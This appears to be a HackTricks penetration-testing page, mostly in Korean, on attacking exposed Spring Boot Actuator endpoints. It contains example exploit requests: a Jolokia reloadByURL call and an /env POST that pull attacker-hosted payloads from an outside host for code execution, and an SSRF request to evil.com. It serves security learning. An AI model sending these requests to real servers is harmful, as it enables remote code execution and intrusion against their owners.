# Spring Actuators {% hint style="success" %} Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
Support HackTricks * Check the [**subscription plans**](https://github.com/sponsors/carlospolop)! * **Join the** πŸ’¬ [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** * **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
{% endhint %} {% endhint %} ## **Spring Auth Bypass**
**From** [**https://raw.githubusercontent.com/Mike-n1/tips/main/SpringAuthBypass.png**](https://raw.githubusercontent.com/Mike-n1/tips/main/SpringAuthBypass.png)\*\*\*\* ## Exploiting Spring Boot Actuators **Check the original post from** \[**https://www.veracode.com/blog/research/exploiting-spring-boot-actuators**] ### **Key Points:** * Spring Boot ActuatorsλŠ” `/health`, `/trace`, `/beans`, `/env` λ“±μ˜ μ—”λ“œν¬μΈνŠΈλ₯Ό λ“±λ‘ν•©λ‹ˆλ‹€. 1μ—μ„œ 1.4 λ²„μ „κΉŒμ§€λŠ” μ΄λŸ¬ν•œ μ—”λ“œν¬μΈνŠΈμ— 인증 없이 μ ‘κ·Όν•  수 μžˆμŠ΅λ‹ˆλ‹€. 1.5 λ²„μ „λΆ€ν„°λŠ” 기본적으둜 `/health`와 `/info`만 λΉ„λ―Όκ°ν•˜μ§€λ§Œ, κ°œλ°œμžλ“€μ΄ μ’…μ’… 이 λ³΄μ•ˆμ„ λΉ„ν™œμ„±ν™”ν•©λ‹ˆλ‹€. * νŠΉμ • Actuator μ—”λ“œν¬μΈνŠΈλŠ” λ―Όκ°ν•œ 데이터λ₯Ό λ…ΈμΆœν•˜κ±°λ‚˜ ν•΄λ‘œμš΄ μž‘μ—…μ„ ν—ˆμš©ν•  수 μžˆμŠ΅λ‹ˆλ‹€: * `/dump`, `/trace`, `/logfile`, `/shutdown`, `/mappings`, `/env`, `/actuator/env`, `/restart`, `/heapdump`. * Spring Boot 1.xμ—μ„œλŠ” 앑좔에이터가 루트 URL μ•„λž˜μ— λ“±λ‘λ˜μ§€λ§Œ, 2.xμ—μ„œλŠ” `/actuator/` κΈ°λ³Έ 경둜 μ•„λž˜μ— μžˆμŠ΅λ‹ˆλ‹€. ### **Exploitation Techniques:** 1. **'/jolokia'λ₯Ό ν†΅ν•œ 원격 μ½”λ“œ μ‹€ν–‰**: * `/jolokia` 앑좔에이터 μ—”λ“œν¬μΈνŠΈλŠ” Jolokia 라이브러리λ₯Ό λ…ΈμΆœν•˜μ—¬ MBeans에 λŒ€ν•œ HTTP 접근을 ν—ˆμš©ν•©λ‹ˆλ‹€. * `reloadByURL` μž‘μ—…μ€ μ™ΈλΆ€ URLμ—μ„œ λ‘œκΉ… ꡬ성을 λ‹€μ‹œ λ‘œλ“œν•˜λ„λ‘ μ•…μš©λ  수 있으며, μ΄λŠ” λΈ”λΌμΈλ“œ XXE λ˜λŠ” μ‘°μž‘λœ XML ꡬ성을 ν†΅ν•œ 원격 μ½”λ“œ μ‹€ν–‰μœΌλ‘œ μ΄μ–΄μ§ˆ 수 μžˆμŠ΅λ‹ˆλ‹€. * μ˜ˆμ‹œ μ•…μš© URL: `http://localhost:8090/jolokia/exec/ch.qos.logback.classic:Name=default,Type=ch.qos.logback.classic.jmx.JMXConfigurator/reloadByURL/http:!/!/artsploit.com!/logback.xml`. 2. **'/env'λ₯Ό ν†΅ν•œ ꡬ성 μˆ˜μ •**: * Spring Cloud λΌμ΄λΈŒλŸ¬λ¦¬κ°€ μ‘΄μž¬ν•˜λŠ” 경우, `/env` μ—”λ“œν¬μΈνŠΈλŠ” ν™˜κ²½ 속성을 μˆ˜μ •ν•  수 μžˆμŠ΅λ‹ˆλ‹€. * 속성은 취약점을 μ•…μš©ν•˜κΈ° μœ„ν•΄ μ‘°μž‘λ  수 있으며, 예λ₯Ό λ“€μ–΄ Eureka serviceURL의 XStream 역직렬화 취약점이 μžˆμŠ΅λ‹ˆλ‹€. * μ˜ˆμ‹œ μ•…μš© POST μš”μ²­: ``` POST /env HTTP/1.1 Host: 127.0.0.1:8090 Content-Type: application/x-www-form-urlencoded Content-Length: 65 eureka.client.serviceUrl.defaultZone=http://artsploit.com/n/xstream ``` 3. **기타 μœ μš©ν•œ μ„€μ •**: * `spring.datasource.tomcat.validationQuery`, `spring.datasource.tomcat.url`, `spring.datasource.tomcat.max-active`와 같은 속성은 SQL μΈμ μ…˜μ΄λ‚˜ λ°μ΄ν„°λ² μ΄μŠ€ μ—°κ²° λ¬Έμžμ—΄ λ³€κ²½κ³Ό 같은 λ‹€μ–‘ν•œ μ•…μš©μ„ μœ„ν•΄ μ‘°μž‘λ  수 μžˆμŠ΅λ‹ˆλ‹€. ### **Additional Information:** * κΈ°λ³Έ μ•‘μΆ”μ—μ΄ν„°μ˜ 포괄적인 λͺ©λ‘μ€ [μ—¬κΈ°](https://github.com/artsploit/SecLists/blob/master/Discovery/Web-Content/spring-boot.txt)μ—μ„œ 확인할 수 μžˆμŠ΅λ‹ˆλ‹€. * Spring Boot 2.x의 `/env` μ—”λ“œν¬μΈνŠΈλŠ” 속성 μˆ˜μ •μ„ μœ„ν•΄ JSON ν˜•μ‹μ„ μ‚¬μš©ν•˜μ§€λ§Œ, 일반적인 κ°œλ…μ€ λ™μΌν•©λ‹ˆλ‹€. ### **Related Topics:** 1. **Env + H2 RCE**: * `/env` μ—”λ“œν¬μΈνŠΈμ™€ H2 λ°μ΄ν„°λ² μ΄μŠ€μ˜ 쑰합을 μ•…μš©ν•˜λŠ” 방법에 λŒ€ν•œ μžμ„Έν•œ λ‚΄μš©μ€ [μ—¬κΈ°](https://spaceraccoon.dev/remote-code-execution-in-three-acts-chaining-exposed-actuators-and-h2-database)μ—μ„œ 확인할 수 μžˆμŠ΅λ‹ˆλ‹€. 2. **잘λͺ»λœ 경둜 이름 해석을 ν†΅ν•œ Spring Boot의 SSRF**: * Spring ν”„λ ˆμž„μ›Œν¬μ˜ 맀트릭슀 λ§€κ°œλ³€μˆ˜(`;`) 처리 방식은 μ„œλ²„ μΈ‘ μš”μ²­ μœ„μ‘°(SSRF)λ₯Ό μ•…μš©ν•  수 μžˆμŠ΅λ‹ˆλ‹€. * μ˜ˆμ‹œ μ•…μš© μš”μ²­: ```http GET ;@evil.com/url HTTP/1.1 Host: target.com Connection: close ``` {% hint style="success" %} Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
Support HackTricks * Check the [**subscription plans**](https://github.com/sponsors/carlospolop)! * **Join the** πŸ’¬ [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** * **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
{% endhint %} {% endhint %}